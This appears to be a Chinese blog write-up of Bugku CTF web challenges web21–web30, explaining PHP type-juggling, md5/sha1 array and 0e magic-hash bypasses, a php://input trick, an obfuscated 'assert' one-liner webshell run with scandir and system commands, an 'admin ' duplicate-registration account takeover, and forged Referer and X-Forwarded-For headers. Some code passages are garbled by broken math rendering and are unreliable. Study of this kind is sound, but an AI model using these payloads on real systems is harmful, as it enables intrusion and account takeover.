Bugku题目web方向
web21
打开场景,显示一句话“never never give up!!!”,然后看看源代码,发现有一个可能有效的注释。
尝试访问:
http://114.67.246.176:12768/1p.html
发现会直接跳转到 http://www.bugku.com/ ,所以行不通。
但是又没有什么其他的线索了,继续追踪 1p.html 这个线索。
使用 view-source 查看 1p.html 的源代码,可以看到参数 words 后面有一串编码。
看到格式是“%数字”,判断为 url 编码,解码得到一串 base64 编码。
base64 编码解码后又得到一串 url 编码。
再次进行 url 解码,最终得到真正的源代码:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
上面源代码中存在的一些函数:
函数 stripos(字符串a,字符串b),用来查找字符串 b 在字符串 a 中第一次出现的位置。
file_get_contents 将整个文件读入一个字符串。
函数 strlen() 返回字符串的长度。
函数 substr() 返回字符串的一部分。
eregi(“111”.substr(
b
,
0
,
1
)
,
"
1114
"
)
是
用
来
判
断
"
1114
"
这
个
字
符
串
里
面
是
否
有
符
合
"
111
"
.
s
u
b
s
t
r
(
b,0,1),"1114") 是用来判断"1114"这个字符串里面是否有符合"111".substr(
b,0,1),"1114")是用来判断"1114"这个字符串里面是否有符合"111".substr(b,0,1)这个规则的。
根据源代码,a 的值中不能又“.”,b 的长度大于5 。
构造 url :
http://114.67.246.176:12768/?id=asd&a=php://input&b=*12345
然后用 burp 的 Repeater 模块发送,在数据包上还要加上 “bugku is a nice plateform!”。
——
——
web22
打开页面是空白的,包括源代码中也是没有什么有用的信息。
只能回到题目中找信息,描述中有一句信息:
过狗一句话:
$poc=“a#s#s#e#r#t”;
KaTeX parse error: Expected 'EOF', got '#' at position 16: poc_1=explode("#̲",poc);
p o c 2 = poc_2= poc2=poc_1[0]. p o c 1 [ 1 ] . poc_1[1]. poc1[1].poc_1[2]. p o c 1 [ 3 ] . poc_1[3]. poc1[3].poc_1[4].$poc_1[5];
p o c 2 ( poc_2( poc2(_GET[‘s’])
注:
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
如下在菜鸟教程上的一个测试:
根据提示,判断这是一句话代码。
第一句是给变量 poc 赋值,
第二三句把 poc 的值变成了 “assert”,即去掉“#”后的样子。
第四句是进行 get 请求,相当于使用 assert ,它不是函数,而是一个宏,有点像写 c 代码时开头写的 include <stdio.h> 。
使用 assert() ,是一个叫断言的方法,括号里为真执行什么,为假又执行什么。
然后使用 php 中读取目录下文件的方法。
读取代码:
$dir="./caxa/";
$file=scandir($dir);
print_r($file);
构造 url :
http://114.67.246.176:19973/?s=print_r(scandir(%27./%27))
读取到一个 flag 文件名。
另外看过别人的 wp ,请求 ?s=system(dir) 也可以读取到文件名。
直接加入这个文件,得到 flag 。
——
——
web23
打开场景,是一串 PHP 代码,再结合题目描述的正则,需要用到正则表达式。
刚开始不懂正则不知道怎么开始,所以先了解了一下正则表达式:
正则表达式学习
根据代码中这句的要求:
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"
. :匹配换行符之外的任何单个字符。
‘ * ’:匹配前面的子表达式 0 次或多次。
构造:
?id=keyabckeyabcdkey:/a/akeya.
构造的请求不是唯一,像字符串 key 中间的 abc 可以为任意。
得到 flag 。
——
——
web24
打开场景,是一段文字,其他地方也没有什么有用的信息,不过发现文字里的这个链接二字是可以点击的。
进入链接,需要进行代码审计。
根据代码,需要进行传参 v1、 v2 和 v3。
要求 v1!=v2 ,且 v1 和 v2 的 md5 值相等。strcmp 函数是对括号内的两个字符串进行比较,这里应该没什么要求,只需要两个不同即可。
到此,可以知道就是直接利用 md5 加密算法无法处理数组的方法。
做题只需要这一个无法处理数组的点,不过还是对 md5 加密算法进行了一定的了解:
构造请求:
?v1[]=a&&v2[]=b&&v3[]=c
得到 flag 。
——
——
web25
打开场景,是一个管理系统的登录界面。
随便输入用户名和密码,发现是行不通的。在什么图片的右下角还有一个注册功能,可以点击注册。
可以看到直接进行注册,并且密码设置有一些条件。
注册一个账号后,回去尝试登录。
提示不是管理员无法看 flag ,也就意味着登录管理员的账号可以看到 flag 。
继续回到注册页面,尝试注册 admin ,但是提示账户已经存在。
已经知道是用 admin 的用户名,我一开始想到的其实是爆破密码。
不过看到别人的提示只需要注册一个同名账号即可。
在 admin 后面加一个空格,再进行注册,就可以提示注册成功了,用注册的这个同名账号登录,得到 flag 。
——
——
web26
打开场景,只有一个信息:are you from google?
看到 google 让我联想到之前做过一道基本一样的题,在攻防世界平台。
Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。
直接在请求头加上这个伪造的 Referer 即可。
burp 抓包,在 Repeater 模块加上:
Referer:https://www.google.com
点击 send 得到 flag 。
——
——
web27
打开场景,发现什么都没有,根据题目描述 “ md5 collision ”,应该是运用 md5 碰撞解题。
看别人的评论场景似乎没有给出源码,从网上得到源码:
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
这里进行传参 a 即可,条件是 :
$a != ‘QNKCDZO’ && $md51 == $md52
md51 的值 ‘QNKCDZO’ 就是属于 0e 绕过的一个字符串。
一些 md5 值是 0e 开头的字符串:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
这些字符串的 md5 值都是 0e 开头,都会判断为相等。
从上面随便选择一个即可。
构造参数:
?a=s878926199a
得到 falg 。
——
web28
和前面的 web26 类似,打开场景只有一个简短的提示,没有其他信息。
解题也和前面的 web26 一样,进行请求伪造。
这里 26 和 28 题在攻防世界里有一道结合起来的题,同时进行两个伪造请求。
此题伪造 XFF (X-Forwarded-For),代表客户端,是 HTTP 请求端的真实 IP 。
用 burp 抓包,在 Repeater 模块的数据包中加上:
X-Forwarded-For:127.0.0.1
得到 flag 。
——
——
web29
题目描述:各种绕过。
打开场景是一段 php 代码,大概就可以知道是要进行构造请求。
根据代码,重点是这两条代码:
($_GET['uname'] == $_POST['passwd'])
sha1($_GET['uname']) === sha1($_POST['passwd'])
第一条要求 ‘uname’ 和 ‘passwd’ 传入的东西不一样,但是第二条要求它们两个的值相等。
这里想到 md5 的绕过,就像前面的题目 web27 运用 md5 碰撞。
开始我使用的是 0e 绕过,结果回显 ‘passwd can not be uname.’ ,后面改用数组绕过。
用hackbar构造:
get 请求:
?id=margin&uname[]=a
post 请求:
passwd[]=b
也可以用 burp ,我这里用 hackbar 方便一点。
点击 Execute ,得到 flag 。
——
——
web30
题目描述:txt???
啊~打开场景又是一段 php 代码,需要进行 get 请求。
file_get_contents() 函数把整个文件读入一个字符串中,那文件是什么,应该就是题目描述里的 txt 了。
尝试访问 flag.txt ,得到文件内容就是 :bugku
现在就需要构造请求了,要求 ‘ $ac === $f ’ ,即值要相等。
构造:
?ac=bugku&fn=flag.txt
bugku 为 flag.txt 里的具体内容。
得到 flag 。